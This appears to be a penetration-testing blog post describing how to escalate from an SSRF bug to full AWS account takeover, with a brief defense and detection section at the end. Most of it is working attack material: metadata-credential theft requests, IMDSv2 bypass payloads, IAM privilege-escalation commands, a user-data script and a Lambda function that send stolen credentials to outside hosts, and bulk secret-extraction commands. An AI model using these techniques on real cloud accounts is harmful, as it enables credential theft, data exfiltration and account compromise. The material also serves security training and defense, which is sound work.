AWS Pivot Techniques: From SSRF to Cloud Administrator
Cloud Adversaries
Enterprise migration methodologies.
Cloud security is fundamentally different from traditional network pentesting, leading to escalation of Cloud Adversary and Red Teaming.
SSRF vulnerability that would be "High severity" on a traditional Web app Pentesting can be a complete cloud account compromise in AWS. I've seen it happen, developers think they understand security because they know SQL injection, but they have no clue about the blast radius of cloud misconfigurations.
This post walks-through some visual techniques I've used on AWS Pentests to go from a basic SSRF to full account takeover F.K.A the ATO.
The AWS Attack Surface
Before diving into attacks, understand what makes AWS different:
- Instance Metadata Service
(IMDS). - IAM roles everywhere.
And some auto-ed Attack-surface:
- Automatic credential rotation.
- Service-to-service trust, such as Lambda can assume roles, EC2 can access S3, etc.
- Confused deputy problems.
In AWS, identity is distributed. There's no central "domain controller" to attack. Instead, you pivot through service integrations and IAM trust relationships. Somehow in a way, this are like AD around delegation and Trust.
SSRF to Instance Metadata Access
This is the bread and butter of Cloud Pentesting for ASR. Find SSRF, hit the metadata service, steal credentials.
The Classic IMDSv1 Attack
IMDSv1 is accessible at http://169.254.169.254 and requires no authentication:
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl 'http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]'
The response are expected to contains temporary credentials:
{
"Code" : "Success",
"LastUpdated" : "2024-11-12T10:30:00Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "...",
"Token" : "...",
"Expiration" : "2024-11-12T16:30:00Z"
}
Export these and you're now operating as that EC2 instance's IAM role:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
Test your access:
aws sts get-caller-identity
AWS End-Point SSRF Example
Found this on a recent image processing endpoint with SSRF:
POST /api/process-image
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
{"result": "web-app-role"}
POST /api/process-image
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"
}
Boom!!! full credentials in response
Bypassing IMDSv2
IMDSv2 requires a session token via PUT request, which seems to prevent SSRF attacks. But there are bypasses.
Overview IMDSv2
IMDSv2 requires two steps:
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ -H "X-aws-ec2-metadata-token: $TOKEN"
Bypass Method 1: HTTP Request Smuggling
If the vulnerable app uses HTTP/1.1 and you can control headers:
POST /api/fetch-url HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
url=http://169.254.169.254/latest/api/token%0d%0a
X-aws-ec2-metadata-token-ttl-seconds:%2021600%0d%0a
%0d%0a
PUT /latest/api/token HTTP/1.1
Bypass Method 2: Misconfigured Proxies
Some reverse proxies allow method override:
X-HTTP-Method-Override: PUT
X-Method-Override: PUT
X-HTTP-Method: PUT
POST /api/fetch-url
X-HTTP-Method-Override: PUT
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/api/token",
"headers": {
"X-aws-ec2-metadata-token-ttl-seconds": "21600"
}
}
Bypass Method 3: IPv6 Address
IMDSv2 also responds on IPv6, and some WAFs don't filter it:
curl http://[fd00:ec2::254]/latest/meta-data/
When IMDSv2 Can't Be Bypassed
If the target properly implements IMDSv2 and you can't bypass it, look for:
- Environment variables containing credentials.
- Application logs with API keys.
- Configuration files mounted from S3.
- User data scripts with secrets.
curl http://169.254.169.254/latest/user-data/
Privilege Escalation via IAM Policies
You've got credentials from IMDS.
Now what? Time to escalate privileges.
Enumerate Your Permissions
First, figure out what you can do:
aws sts get-caller-identity
aws iam get-account-authorization-details
Enumerate specific services:
aws s3 ls
aws ec2 describe-instances
aws lambda list-functions
aws iam list-roles
Use enumerate-iam to brute force permissions:
python3 enumerate-iam.py --access-key ASIA... --secret-key ... --session-token ...
Common Privilege Escalation Paths
1. IAM for CreatePolicyVersion
If you have this permission on a managed policy attached to a privileged role:
aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/limited-policy --policy-document file://admin-policy.json --set-as-default
The policy document:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}
2. IAM for PassRole + Privileged Service
If you can pass roles to Lambda or EC2:
aws lambda create-function --function-name exfil-data --runtime python3.9 --role arn:aws:iam::123456789012:role/admin-role --handler lambda_function.lambda_handler --zip-file fileb://function.zip
Invoke it with admin permissions
aws lambda invoke --function-name exfil-data --payload '{"action":"list-secrets"}' response.json
3. EC2 for RunInstances with Privileged Role
Launch an EC2 instance with a more privileged IAM role:
aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro --iam-instance-profile Name=admin-instance-profile --user-data file://userdata.sh
User data script exfiltrates credentials:
#!/bin/bash
ROLE=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDS=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE)
curl -X POST https://attacker.com/exfil -d "$CREDS"
4. Lambda for UpdateFunctionCode
Modify existing Lambda functions to steal credentials by create malicious function code:
┌──(kali㉿kali)-[~]
└─$ cat lambda-function.py
import json
import boto3
import requests
def lambda_handler(event, context):
sts = boto3.client('sts')
identity = sts.get_caller_identity()
requests.post('https://byt3n33dl3.me/exfil', json=identity)
return {'statusCode': 200, 'body': json.dumps('Success')}
Continued with Package and update:
sudo zip function.zip lambda_function.py
aws lambda update-function-code --function-name existing-function --zip-file fileb://function.zip
Then trigger the function:
aws lambda invoke --function-name existing-function response.json
Role Assumption Chains
The real power in AWS is chaining role assumptions across accounts and services.
Finding Assumable Roles
aws iam list-roles | jq -r '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS) | .RoleName'
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/target-role --role-session-name test-session
Cross-Account Role Assumption
Many orgs and enterprises have development accounts that can assume roles in production:
aws sts assume-role --role-arn arn:aws:iam::999999999999:role/prod-admin --role-session-name pivot-to-prod
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
You're now in production with admin access
aws s3 ls
Service-to-Service Role Chains
Example chain that's commonly being exploited recently:
- SSRF on web app to EC2 instance role.
- EC2 role can invoke Lambda functions.
- Lambda has role with S3 access.
- S3 bucket leakage.
- Database has AWS API keys in tables.
- API keys belong to admin user.
aws lambda invoke --function-name data-processor --payload '{"action":"read-s3"}' output.json
cat output.json
sudo mysql -h db.internal -u admin -p
SELECT * FROM credentials WHERE type='aws_admin';
export AWS_ACCESS_KEY_ID="AKIA..."
aws iam list-users
Then the Leak would come.
Exploiting Service Integrations
AWS services integrate in ways that create privilege escalation paths.
S3 Bucket Policies Gone Wrong
Find publicly accessible or misconfigured buckets:
aws s3 ls
aws s3 ls s3://company-name-backups
aws s3 ls s3://company-name-logs
aws s3 ls s3://prod-data
Look for sensitive files
aws s3 ls s3://target-bucket --recursive | grep -i "password\|secret\|key\|credential"
Download and grep for credentials:
aws s3 sync s3://target-bucket ./local-copy
grep -r "AKIA" ./local-copy
grep -r "secret" ./local-copy
grep -r "password" ./local-copy
Secrets Manager Enumeration
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/master-password
Then batch retrieve all accessible secrets.
Parameter Store Extraction
aws ssm describe-parameters
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
Continue with look-up for API keys, database passwords, swag, etc.
aws ssm get-parameter --name /prod/db/password --with-decryption
Real Case Study: Complete Account Takeover
Here's a real engagement from 2024 showing the complete attack chain:
Initial Access
Found SSRF in an image processing API:
POST /api/v1/process-image
{
"image_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"filters": ["resize"]
}
Response revealed role name: web-app-prod-role.
Credential Theft
curl -X POST https://target.com/api/v1/process-image -d '{"image_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-prod-role"}'
Response:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "..."
}
Privilege Escalation
Start with access we have:
aws iam get-role --role-name data-export-role
We have:
Trust policy allowed Lambda service
Role had s3:* on backup buckets
aws lambda update-function-code --function-name data-export-function --zip-file fileb://malicious.zip
Then malicious code extracted S3 data, found credentials.json in s3://company-backups/config/, which are dangeous.
Lateral Movement
Example of credentials.json contained admin API key:
{
"aws_access_key": "AKIA...",
"aws_secret_key": "...",
"permissions": "administrator"
}
Switched to admin credentials:
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
unset AWS_SESSION_TOKEN
After all, we verified admin access
aws iam list-users
aws ec2 describe-instances --region us-east-1
aws rds describe-db-instances
Full account compromise achieved.
Impact
From to admin in under 30 minutes:
- Access to all EC2 instances.
- All RDS databases.
- All S3 buckets with customer data.
- Ability to create/delete resources.
- Access to billing information.
- Could pivot to other AWS accounts via assumed roles.
Defense and Detection
From the blue team perspective, here's how to prevent and detect these attacks:
Prevention
Note this is just a methodology, moreover needs an extra hardening.
1. Enforce IMDSv2
- Set HttpTokens=required on all EC2 instances
- Use AWS Config rules to audit compliance
2. Principle of Least Privilege
- Lambda functions shouldn't have * permissions
- Use permission boundaries
- Regularly audit IAM policies
3. Network Segmentation
- Block 169.254.169.254 at application firewall
- Use VPC endpoints to avoid IMDS exposure
- Implement egress filtering
4. Secrets Management
- Never store credentials in S3
- Use Secrets Manager with proper IAM policies
- Rotate credentials regularly
5. Monitoring
- Enable CloudTrail in all regions
- Alert on AssumeRole from unusual IPs
- Monitor for unauthorized API calls
Detection Strategies
CloudTrail queries to detect attacks, first with unusual AssumeRole activity:
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole
Credential usage from unusual IPs:
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetCallerIdentity
Then Lambda function modifications:
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue
Incident Response (DFIR)
If you detect credential theft:
- Immediately revoke all sessions for compromised role.
- Attach explicit deny policy to compromised identity.
- Review CloudTrail for all actions taken.
- Rotate all potentially exposed credentials.
- Check for backdoors
(new IAM users, modified policies). - Review Lambda functions for modifications.
- Audit cross-account role assumptions.
Emergency: Deny all actions for compromised role
aws iam put-role-policy --role-name compromised-role --policy-name DenyAll --policy-document file://deny-all.json
There we got deny-all.json
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Action": "*",
"Resource": "*"
}]
}
Tools for AWS Pentesting
Essential tools for cloud engagements:
Practical Tips
From actual AWS pentests:
- Always try IMDSv1 first.
- Check user-data.
- Look for role chains.
- S3 buckets are treasure troves.
- Lambda functions are goldmines.
- Test in all regions.
- Document everything.
Conclusion
AWS attacks are fundamentally different from traditional pentesting. A single SSRF vulnerability can lead to complete account compromise through:
- Instance Metadata Service credential theft.
- IAM privilege escalation.
- Role assumption chains.
- Service integration abuse.
- Secrets stored in
S3/SecretsManager.
The key is understanding AWS's identity model and how services trust each other. Every Lambda function, every EC2 instance, every service is a potential pivot point.
Defenders need to enforce IMDSv2, implement least privilege, and monitor for unusual API activity. Attackers need to think in terms of role chains and service integrations, not just network pivots. Cloud security isn't just "security in the cloud", it's a completely different attack surface that requires new skills and techniques.
Resources
- AWS IAM Privilege Escalation Methods.
- Cloud Security Documentation.
- Hacking The Cloud.
- Arsenal of AWS Security Tools.